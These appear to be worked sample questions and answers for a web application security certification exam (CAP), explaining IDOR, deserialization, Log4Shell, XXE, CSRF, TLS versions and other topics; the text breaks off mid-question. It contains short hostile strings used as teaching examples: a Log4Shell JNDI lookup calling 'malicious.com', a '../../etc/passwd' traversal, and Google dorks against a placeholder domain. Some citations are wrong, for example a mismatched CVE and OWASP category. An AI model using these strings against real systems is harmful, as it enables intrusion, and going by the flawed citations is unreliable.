CAP Sample Questions Answers

The scenario describes a vulnerability where a user can manipulate the order_id parameter in theURL (e.g., https://example.com/?order_id=53870) to access other users’ order details, indicating a lack of proper access control. This is a classic case of an Insecure Direct Object Reference (IDOR)attack. IDOR occurs when an application exposes a reference to an internal object (e.g., an order ID) that can be manipulated by an unauthorized user to access resources they should not have access to, without validating the user’s permissions.

Option A ("Insecure Direct Object Reference"): Correct, as the ability to change order_id to view arbitrary orders fits the definition of IDOR.

Option B ("Session Poisoning"): Incorrect, as session poisoning involves corrupting or altering a user’s session data, which is not indicated here.

Option C ("Session Riding OR Cross-Site Request Forgery"): Incorrect, as CSRF involves tricking a user into submitting a request (e.g., via a malicious form), not manipulating a URL parameter directly.

Option D ("Server-Side Request Forgery"): Incorrect, as SSRF involves tricking the server into making unauthorized requests to internal or external resources, which is not the case here.

The correct answer is A, aligning with the CAP syllabus under "Insecure Direct Object References (IDOR)" and "OWASP Top 10 (A04:2021 - Insecure Design)."References: SecOps Group CAP Documents - "IDOR Vulnerabilities," "Access Control," and "OWASP Testing Guide" sections.

Insecure Deserialization occurs when untrusted data is deserialized by an application, allowing attackers to execute arbitrary code, manipulate objects, or cause denial-of-service. If user input is not validated or sanitized, many languages and frameworks are vulnerable to this issue because deserialization often involves reconstructing objects from serialized data, which can include malicious payloads.

Option A (".NET"): .NET applications (e.g., using BinaryFormatter or XmlSerializer) areprone to Insecure Deserialization if untrusted data is deserialized without validation. For example, BinaryFormatter can execute arbitrary code during deserialization, a well-known vulnerability (e.g., CVE-2017-11882).

Option B ("Java"): Java’s ObjectInputStream is notoriously vulnerable to Insecure Deserialization. Libraries like java.io.Serializable can execute code during deserialization of untrusted data, as seen in vulnerabilities like Apache Commons Collections (CVE-2015-7501).

Option C ("PHP"): PHP applications using functions like unserialize() are vulnerable if they deserialize untrusted input. For example, an attacker can craft a serialized object to trigger a gadget chain, leading to remote code execution (e.g., CVE-2016-7124).

Option D ("All of the above"): Correct, as .NET, Java, and PHP all have deserialization mechanisms that, if not properly secured, can lead to Insecure Deserialization vulnerabilities when handling untrusted input.

The correct answer is D, aligning with the CAP syllabus under "Insecure Deserialization" and "OWASP Top 10 (A08:2021 - Software and Data Integrity Failures)."References: SecOps Group CAP Documents - "Insecure Deserialization," "Serialization Security," and "OWASP Deserialization Cheat Sheet" sections.

A docker-compose.yml file is a YAML-formatted configuration file used with Docker Compose, a tool for defining and running multi-container Docker applications. Its primary significance lies in orchestrating the deployment of Docker containers by specifying services (e.g., web server, database), networks (e.g., internal communication), and volumes (e.g., persistent storage). An exposed docker-compose.yml file poses a security risk because it may reveal sensitive configuration details, such as service names, ports, environment variables (e.g., database credentials), and network settings, which attackers could exploit to target the application.

Option A ("The docker-compose.yml file is a YAML file that contains the application source code"): Incorrect, as this file defines configuration and orchestration, not source code.

Option B ("The docker-compose.yml file is a YAML file that contains the server logs and user session information..."): Incorrect, as logs and session data are stored elsewhere (e.g., in container logs or databases), not in docker-compose.yml.

Option C ("The docker-compose.yml file is a YAML file that is used to define the services, networks, and volumes..."): Correct, as it accurately describes the file’s purpose and content, including configuration and dependencies, which are critical for Docker applications.

Option D ("The docker-compose.yml file is a YAML file that contains the configuration of load balancers and firewalls"): Incorrect, as it focuses only on load balancers and firewalls, which are specific components and not the primary focus of the file.

The correct answer is C, aligning with the CAP syllabus under "Container Security" and "Configuration Management."References: SecOps Group CAP Documents - "Docker Security," "Container Orchestration," and "OWASP Application Security Verification Standard (ASVS)" sections.

The Log4j vulnerability, identified asCVE-2021-44228(commonly known as Log4Shell), is a critical security flaw in the Apache Log4j library, a widely used logging framework in Java applications. This vulnerability allows remote code execution (RCE) when an attacker crafts a malicious input (e.g., ${jndi:ldap://malicious.com/a}) that is logged by a vulnerable Log4j instance. The exploit leveragesJNDI (Java Naming and Directory Interface) Injection, where the JNDI lookup mechanism is abused to load remote code from an attacker-controlled server. All options (A, B, and C) list "JNDI Injection," which is correct, but since B is marked as the selected answer in the image, it is taken as the intended choice. This redundancy in options suggests a possible error in the question design, but the vulnerability is unequivocally JNDI Injection. Option D ("None of the above") is incorrect as JNDI Injection is the exploited vulnerability. This topic is critical in the CAP syllabus under injection attacks and RCE prevention.References: SecOps Group CAP Documents - "Injection Vulnerabilities," "Remote Code Execution," and "OWASP Top 10 (A03:2021 - Injection)" sections.

Google Dorks are advanced search operators used to find specific information or vulnerabilities on the web. Directory listing vulnerabilities occur when a web server exposes the contents of a directory (e.g., file names, paths) due to misconfiguration. The operators intitle: and intext: are used to search for specific terms in the title or body of web pages, respectively, combined with site: to limit the search to a specific domain.

Option A ("intitle:'Index of' site:victim-app.com"): Correct, as intitle:"Index of" targets pages with "Index of" in the title, a common indicator of directory listings, and site:victim-app.com restricts the search to that domain.

Option B ("intext:'Index of' site:victim-app.com"): Correct, as intext:"Index of" searches for "Index of" within the page content, another reliable indicator of directory listings, combined with the domain restriction.

Option C ("Both A and B"): Correct, as both intitle: and intext: can effectively identify directory listings, making this the most comprehensive answer.

Option D ("None of the above"): Incorrect, as both A and B are valid Google Dorks for this purpose.

The correct answer is C, aligning with the CAP syllabus under "Reconnaissance Techniques" and "Google Dorking."References: SecOps Group CAP Documents - "Information Gathering," "Google Hacking," and "OWASP Testing Guide" sections.

SSL (Secure Sockets Layer) and TLS (Transport Layer Security) are cryptographic protocols used to secure communication over a network. The security of these protocols has evolved over time, with older versions being deprecated due to identified vulnerabilities.SSLv2andSSLv3are considered insecure because they are vulnerable to attacks such as POODLE (Padding Oracle On Downgraded Legacy Encryption), which exploits weaknesses in their padding schemes. Similarly,TLSv1.0andTLSv1.1are also deemed insecure due to vulnerabilities like BEAST (Browser Exploit Against SSL/TLS) and weak cipher support, and they have been deprecated by modern standards (e.g., PCI DSS).TLSv1.2andTLSv1.3are considered secure when properly configured with strong ciphers.

Option A correctly identifies SSLv2 and SSLv3 as insecure, but it omits TLSv1.0 and TLSv1.1. Option B correctly identifies TLSv1.0 and TLSv1.1 as insecure but omits SSLv2 and SSLv3. Option C ("Both A and B") encompasses all insecure protocols (SSLv2, SSLv3, TLSv1.0, and TLSv1.1), making it the most comprehensive and correct answer. Option D is incorrect because it includes TLSv1.2 and TLSv1.3, which are secure when used with modern configurations. This aligns with the CAP syllabus focus on secure communication protocols and vulnerability management.References: SecOps Group CAP Documents - "Secure Communication," "SSL/TLS Configuration," and "OWASP Secure Headers" sections.

The password reset mechanism now includes a one-time random token alongside the userId in the reset link: https://example.com/reset_password?userId=5298 &token=70e7803e-bf53-45e1-8a3f-fb15da7de3a0. Let’s evaluate the effectiveness of this mechanism:

Analysis: The inclusion of a one-time random token (e.g., 70e7803e-bf53-45e1-8a3f-fb15da7de3a0) is a best practice for secure password reset mechanisms. This token should be unique, unpredictable, and tied to the specific user’s reset request (e.g., stored in the database with an expiration time). When the user clicks the link, the application should verify that the token matches the one associated with the userId and that it hasn’t been used or expired.

Preventing Arbitrary Resets: Without the token, an attacker could manipulate the userId (e.g., to 5299) to reset another user’s password (as seen in Question 45). However, with the token, the attacker would need to guess the correct token for the targeted userId, which is computationally infeasible if the token is sufficiently random (e.g., a UUID or cryptographically secure random string) and properly validated. This prevents unauthorized password resets.

Additional Considerations: The link uses https://, ensuring a secure channel (unlike Question 45). The message "If the email exists..." prevents username enumeration, as discussed previously.

Option A ("True"): Correct, as the one-time random token, if implemented correctly (e.g., validated server-side, single-use, time-limited), prevents an attacker from resetting arbitrary users’ passwords.

Option B ("False"): Incorrect, as the mechanism is secure with the token.

The correct answer is A, aligning with the CAP syllabus under "Secure Password Reset" and "Token-Based Authentication."References: SecOps Group CAP Documents - "Password Reset Security," "Token Generation Best Practices," and "OWASP Forgot Password Cheat Sheet" sections.

Let’s evaluate the two statements about NoSQL injection:

Statement A: NoSQL databases (e.g., MongoDB, Cassandra) are designed for scalability and flexibility, often sacrificing strict consistency for performance (e.g., eventual consistency in distributed systems). Unlike traditional SQL databases, they do not enforce rigid relational constraints, which simplifies scaling but does not eliminate the risk of injection attacks. Even without SQL syntax, NoSQL databases are vulnerable to injection if user input is not sanitized (e.g., in MongoDB, injecting $where or $ne operators). This statement is true.

Statement B: NoSQL database queries are typically written in the application’s programming language (e.g., JavaScript for MongoDB), using a custom API (e.g., MongoDB’s query API), or formatted in standards like JSON, XML, or LINQ. For example, a MongoDB query might look like db.collection.find({ "key": input }), where input is a JSON-like structure. This statement accurately describes how NoSQL queries are constructed and is true.

Option A ("A is true, and B is false"): Incorrect, as both statements are true.

Option B ("A is false, and B is true"): Incorrect, as both statements are true.

Option C ("Both A and B are false"): Incorrect, as both statements are true.

Option D ("Both A and B are true"): Correct, as both statements accurately describe NoSQL databases and their vulnerability to injection.

The correct answer is D, aligning with the CAP syllabus under "NoSQL Injection" and "Database Security."References: SecOps Group CAP Documents - "NoSQL Injection Vulnerabilities," "Database Query Security," and "OWASP Top 10 (A03:2021 - Injection)" sections.

Caching HTTP responses can pose security risks, especially for sensitive data, as cached responses might be accessed by unauthorized users (e.g., on a shared device). The goal is to identify the HTTP response header that prevents caching in the most secure way. Let’s evaluate the options:

Option A ("Cache-Control: no-cache, no-store"): Correct. The Cache-Control header with no-cache instructs clients to revalidate with the server before using a cached copy, and no-store prohibits caching entirely (no storage in any cache, including browser, proxy, or CDN). This combination ensures the response is not cached, providing the most secure prevention of caching for sensitive data.

Option B ("Secure-Cache: Enabled"): There is no standard HTTP header called Secure-Cache. This appears to be a made-up option and is not a valid mechanism for controlling caching.

Option C ("Cache-Control: Private"): The Cache-Control: Private directive allows caching but restricts it to the user’s private cache (e.g., browser cache), preventing shared caches (e.g., proxies) from storing the response. However, it still permits caching in the browser, which is less secure than preventing all caching, especially for sensitive data.

Option D ("Content-Security-Policy: no-cache, no-store"): The Content-Security-Policy (CSP) header is used to mitigate XSS and other attacks by controlling which resources can be loaded (e.g., scripts, images). It does not control caching, and no-cache, no-store are not valid CSP directives. This is incorrect.

The correct answer is A, as Cache-Control: no-cache, no-store is the most secure way to prevent caching, aligning with the CAP syllabus under "HTTP Headers Security" and "Sensitive Data Protection."References: SecOps Group CAP Documents - "HTTP Caching Security," "Cache-Control Directives," and "OWASP Secure Headers Project" sections.

Multifactor Authentication (MFA) enhances security by requiring multiple forms of verification (e.g., something you know, like a password, and something you have, like a one-time code) to authenticate a user. It is effective against attacks that rely on stolen credentials, but let’s evaluate its impact on the listed vulnerabilities:

Option A ("Cross-Site Scripting Vulnerability"): XSS (Cross-Site Scripting) involves injecting malicious scripts into a web application that execute in the victim’s browser. MFA does not prevent XSS because it occurs after authentication; an attacker can exploit XSS to steal session cookies or perform actions on behalf of the authenticated user, bypassing MFA’s protection.

Option B ("Cross-Site Request Forgery Vulnerability"): CSRF (Cross-Site Request Forgery) tricks a user’s browser into making unintended requests to a site where they are authenticated. MFA does not prevent CSRF because the attack leverages the user’s existing session (post-authentication). The browser automatically sends cookies (e.g., session cookies) with the forged request, and MFA does not interfere with this process.

Option C ("Path Traversal Vulnerability"): Path Traversal allows an attacker to manipulate file paths (e.g., ../../etc/passwd) to access unauthorized files on the server. MFA does not prevent this because it is an application-level vulnerability unrelated to user authentication; an attacker with or without credentials can exploit it if the application fails to validate input.

Option D ("All of the above"): Correct, as MFA is designed to secure the authentication process, not to mitigate vulnerabilities like XSS, CSRF, or Path Traversal, which exploit application logic or session management after authentication.

The correct answer is D, aligning with the CAP syllabus under "Multifactor Authentication" and "Application Security Vulnerabilities."References: SecOps Group CAP Documents - "MFA Implementation," "XSS/CSRF/Path Traversal Mitigation," and "OWASP Authentication Cheat Sheet" sections.

Cross-Site Request Forgery (CSRF) occurs when an attacker tricks a user’s browser into making an unintended request to a site where the user is authenticated, potentially performing actions like changing a password. Let’s analyze the request:

The request is a POST to /changepassword with a Cookie: JSESSIONID, indicating the user is authenticated via a session. The Content-Length: 95 and payload (new_password=lov3MyPiano23&confirm_password=lov3MyPiano23) suggest a state-changing operation (password change).

CSRF vulnerability arises when the request lacks a unique, unpredictable token to validate its legitimacy, and the server accepts it based solely on the session cookie. The request includes no CSRF token (e.g., in the body or headers like X-CSRF-Token).

The Sec-Fetch-Site: same-origin header indicates the request originates from the samedomain, but this is a browser feature and does not guarantee server-side protection against CSRF from a malicious site (e.g., via a hidden iframe or form submission).

Without a CSRF token, an attacker could craft a malicious HTML page with a form that submits this exact request when a victim visits their site while authenticated to example.com, exploiting the browser’s automatic inclusion of the JSESSIONID cookie. This is a textbook CSRF vulnerability.

Option A ("True"): Correct, as the request lacks a CSRF token, making it vulnerable to CSRF attacks.

Option B ("False"): Incorrect, as the absence of a CSRF token indicates vulnerability.

The correct answer is A, aligning with the CAP syllabus under "Cross-Site Request Forgery (CSRF)" and "Session Management."References: SecOps Group CAP Documents - "CSRF Prevention," "Session Security," and "OWASP CSRF Prevention Cheat Sheet" sections.

Symmetric key encryption algorithms use the same key for both encryption and decryption, while asymmetric algorithms use a pair of keys (public and private). Let’s evaluate the options:

Option A ("RC4"): RC4 is a symmetric key encryption algorithm. It is a stream cipher that uses a single key to both encrypt and decrypt data, though it is considered insecure due to known cryptographic weaknesses (e.g., biases in the keystream).

Option B ("AES"): AES (Advanced Encryption Standard) is a symmetric key encryption algorithm. It uses a single key (e.g., 128, 192, or 256 bits) for both encryption and decryption, widely regarded as secure when properly implemented.

Option C ("DES"): DES (Data Encryption Standard) is a symmetric key encryption algorithm. It uses a 56-bit key for both encryption and decryption, but it is now considered insecure due to its small key size and vulnerability to brute-force attacks.

Option D ("RSA"): RSA (Rivest-Shamir-Adleman) is an asymmetric key encryption algorithm. It uses a public key to encrypt and a private key to decrypt, making it an asymmetric algorithm, not a symmetric one.

The correct answer is D, as RSA is the only asymmetric algorithm listed, aligning with the CAP syllabus under "Cryptography Fundamentals" and "Symmetric vs. Asymmetric Encryption."References: SecOps Group CAP Documents - "Symmetric Encryption Algorithms," "Asymmetric Encryption," and "OWASP Cryptographic Storage Cheat Sheet" sections.

The request is a POST to /dashboard with a payload containing XML data, specifically an xml_foo parameter with a declaration and an XML entity (). Let’s analyze the vulnerability:

The payload defines an XML External Entity (XXE) with , which instructs the XML parser to fetch the contents of /etc/passwd (a sensitive system file) and include it in the &example; reference. The XML then includes &example;, which would expand to the contents of /etc/passwd if the parser processes the entity.

This is a classicXML External Entity (XXE) Attack, where an attacker exploits an XML parser’s ability to process external entities to access unauthorized resources (e.g., local files, internal network services) or cause denial-of-service. If the application’s XML parser is misconfigured to allow external entity resolution, this attack can disclose sensitive data like /etc/passwd.

Option A ("Path Traversal Attack"): Incorrect. Path Traversal involves manipulating file paths (e.g., ../../etc/passwd) to access unauthorized files. While the attack aims to access /etc/passwd, it does so via XML entity resolution, not path traversal.

Option B ("Server Side Template Injection"): Incorrect. SSTI (Server-Side Template Injection) involves injecting template expressions (e.g., {{7*7}}) into a server-side template engine. The payload here is XML, not a template expression, and targets XML parsing, not a template engine.

Option C ("XML Bomb Attack"): Incorrect. An XML Bomb (or Billion Laughs attack) involves recursive entity expansion to cause denial-of-service (e.g., ), leading to exponential growth in memory usage. This payload defines a single external entity to fetch a file, not a recursive expansion, so it’s not an XML Bomb.

Option D ("XML External Entity Attack"): Correct, as the payload exploits XXE by defining an external entity to access /etc/passwd.

The correct answer is D, aligning with the CAP syllabus under "XML External Entity (XXE) Attacks" and "OWASP Top 10 (A04:2021 - Insecure Design)."References: SecOps Group CAP Documents - "XXE Vulnerabilities," "XML Parsing Security," and "OWASP XXE Prevention Cheat Sheet" sections.

The request is a GET to /userProfile.php with a sessionId parameter matching the JSESSIONID cookie, and the response is a 200 OK with an HTML page. Let’s evaluate the statements:

Option A ("The application uses an insecure channel (non-TLS)"): The request uses http:// (inferred from the absence of https:// in the Host and GET line), indicating a non-TLS channel. However, the question asks about the "application" (likely the server-side behavior), and the response does not explicitly confirm the channel used for the response. Modern browsers might enforce TLS, but the request suggests an insecure channel. This could be true, but it depends on the server’s configuration, making it less certain without further context.

Option B ("The application uses an insecure HTTP method (GET) to send sensitive information"): Correct. The sessionId parameter in the URL (/userProfile.php?sessionId=7576572ce164646de967c759643d53031) is sensitive data, as it could be used to hijack the user’s session. Using GET exposes this data in browser history, server logs, and referral headers, which is insecure. Best practice is to use POST for sensitive data to avoid such exposure. The JSESSIONID cookie is marked HttpOnly, mitigating some risks, but the sessionId in the URL remains a vulnerability.

Option C ("The application is vulnerable to Cross-Site Scripting attacks"): The response includes an HTML page with no visible user input or script execution. There’s no evidence of unsanitized input or script injection (e.g., no dynamic content like